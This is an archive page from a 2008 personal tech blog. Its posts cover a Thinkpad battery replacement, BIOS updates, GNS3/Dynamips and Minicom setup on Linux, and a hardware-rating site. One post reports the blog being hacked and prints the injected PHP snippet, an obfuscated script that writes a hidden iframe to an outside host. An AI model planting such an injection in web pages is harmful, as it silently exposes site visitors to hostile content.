… and was quite impressed.

Wednesday evening, I called the support to report that I was not satified with my battery. I had lost 25% of its capacity over less than 8 months.

Thursday morning, I am recalled by someone from the technical service. They first say that the battery is no more under warranty – 1 year long. I guess they say so after checking when the battery was made or sold the retailer. That does not concern the end-consumer like me : the warranty only started when I purchased the laptop, and I still have 4 months of warranty ahead.

As they asked, I send them by fax the bill which proves that, thursday afternoon. Soon after, they recall me again, just to tell me that a new battery is going to be sent to me.

Friday morning, it arrived ! So far, so good !

Next time, I may test it again concerning this issue (not so terrible in fact, and I am reluctant to send back my laptop).

JC :: Sep.21.2008 :: Hardware :: No Comments »

When you want to do such a thing as upgrading the BIOS of your Thinkpad, read the instructions that come with the bootable CD flash utility.

If you think you did, read it again -  and do not interpret them.

It would avoid loosing time with a boot error like :

CDR101: not ready reading drive C

That occurs when you choose the CD player as a temporary boot device (Thinkvantage button and then F3), although it is required to really change the boot order within the BIOS menu (F2) and save this setting.

By the way, I really recommend a BIOS update if you are a happy Thinkpad T61 user : not only it fixes numerous issues with the Intel chipset, but it optimizes power management. I noticed that the fan management has been improved. It is most of time slower than before, so the laptop is more silent.

JC :: Sep.06.2008 :: Hardware, System :: No Comments »

GNS3 and Dynamips put together give a nice open-source and free alternative to emulate a network with IOS routers. Dynampis is an emulator of Cisco 7200 router, while GNS3 provides a nice graphical environment to design your network and use the virtual routers.

I sometimes use Boson Netsim, which is not only non-free but not so reliable.

However, as I just started to use GNS3 and Dynamips, I don’t know it so well yet and won’t compare any further the two solutions.

On this page, I am just summarizing the few steps to set it up on your Linux system.

First, set up the prerequisite :

$ aptitude install python-qt4

Now, go to gns3.net and download the source code for Linux (direct link).

You may extract the archive in your local application folder :

$ wget http://pfe.epitech.net/frs/download.php/819/GNS3-0.5-src.tar.gz
$ tar -xzvf GNS3-0.5-src.tar.gz -C /opt

Then, you need the dynamips binary from the dynamips blog (direct links for x86 or amd64 platforms).
The file must be executable.

$ wget http://www.ipflow.utc.fr/dynamips/dynamips-0.2.8-RC2-amd64.bin
$ chmod u+x dynamips*.bin
$ mv dynamips-0.2.8-RC2-amd64.bin /opt

Now, start GNS3 :

$ /opt/GNS3-0.5-src/gns3

In the edit menu, select preferences and go the dynamips section.

Just browse to the dynamips binary you dowloaded, to fill the value of the executable path field.

Still from the edit menu, select IOS images and hypervisors. There, you have to add all the IOS images you want to use, one after another. Normally, the default settings for each file loaded are suitable.

Back to the main window, you can drag and drop routers and link them, creating the topology you wish.

For now, just add one router. Right click on it and select start to start it up. Right click again and select console.

Enjoy ! Of course, I strongly recommand that you start reading further from this page.

Resources :

http://www.ipflow.utc.fr/blog/
http://www.gns3.net/
http://www.blindhog.net/tutorials/gns3-linux-install/gns3-linux-install.html

JC :: Aug.19.2008 :: Cisco, Hardware, Linux, Network :: No Comments »

This blog got hacked yesterday.

It looks like some spammer managed to inject some PHP code into almost all *.php files of Wordpress.
It was not just like the classic SQL injection that is usually used to post some malicious post.

The following code was added :

<?php echo '<script type="text/javascript">function count(str){var res = "";for(i = 0; i < str.length; ++i) { n = str.charCodeAt(i); res += String.fromCharCode(n - (2)); } return res; }; document.write(count(">khtcog\"ute?jvvr<11yyy0yr/uvcvu/rjr0kphq1khtcog1yr/uvcvu0rjr\"ykfvj?3\"jgkijv?3\"htcogdqtfgt?2@"));</script>';?>

Continue Reading »

JC :: Jun.03.2008 :: Cisco, Hacking, Hardware, Linux, News, Perl, Security, Web, Web :: 5 Comments »

Since the new cold boot attack hack is on the news, touching most of the software encryption solutions, I have wondered if it had any chance to concern also hardware encryption.

Hardware encryption is provided by a few laptop makers, generally on high-range an business models.

It has much less performance impact than software encryption, and protect the data independently from your system configuration and its partitions.

Full disk encryption is the so called hardware encryption technology used by Lenovo on my Thinkpad.

Continue Reading »

JC :: Feb.26.2008 :: Cryptography, Hardware, Linux, Security :: 2 Comments »

As a replacement of my old but reliable Vaio, I bought a Lenovo Thinkpad T61.

About laptop PC, I have always been conveiced that the best pieces of hardware are found among Sony and Lenovo (ex-IBM). In tough or ultra-light categories, I would add Panasonic, but it is not the kind of laptop I am looking for.
Continue Reading »

JC :: Feb.21.2008 :: Hardware, Linux :: 1 Comment »

Using the serial port is still necessary to manage some devices, when it is reseted to factory defaults. It could be also a security choice…

Nowadays many computers – and especially laptops don’t have anymore a built-in serial port. Not a problem, there are many cheap serial-usb converters like this.

As an alternative to the Hyperterminal of Microsoft, there is Minicom on Linux.

It is very easy to install and configure :

$ apt-get install minicom lrzsz

Before going further, you need to know what is the corresponding Linux device for the port where you plugged the router. As I used an usb adapter, my device was /dev/ttyUSB0. Otherwise, it will probably be one of the /dev/ttyS* devices.
Checking the dmesg output while you plug the device will give you the right device to use.

Now start minicom this way to edit the configuration :

$ minicom -s

In the menu, select Serial Port Configuration and :

• press A and update the serial port path with the one you found in dmesg
• press E and then C to change the speed to 9600
• press F to switch off the hardware flow control
• select Save the configuration as… and name it as, let’s say, “cisco”

You should be able to connect right now. Next time, just start Minicom like this :

$ minicom cisco

That’s it !

JC :: Nov.13.2007 :: Cisco, Firewalling, Hardware, Linux :: 3 Comments »

A nice website :

http://hardware4linux.info/

Whith the provided script, you can upload your hardware information there and quickly rate your experience with it (for each equipment it detected).

I just did it for my laptop and will go on with my other machines. It will probably become an interesting database.

JC :: Jul.24.2007 :: Hardware, Linux :: No Comments »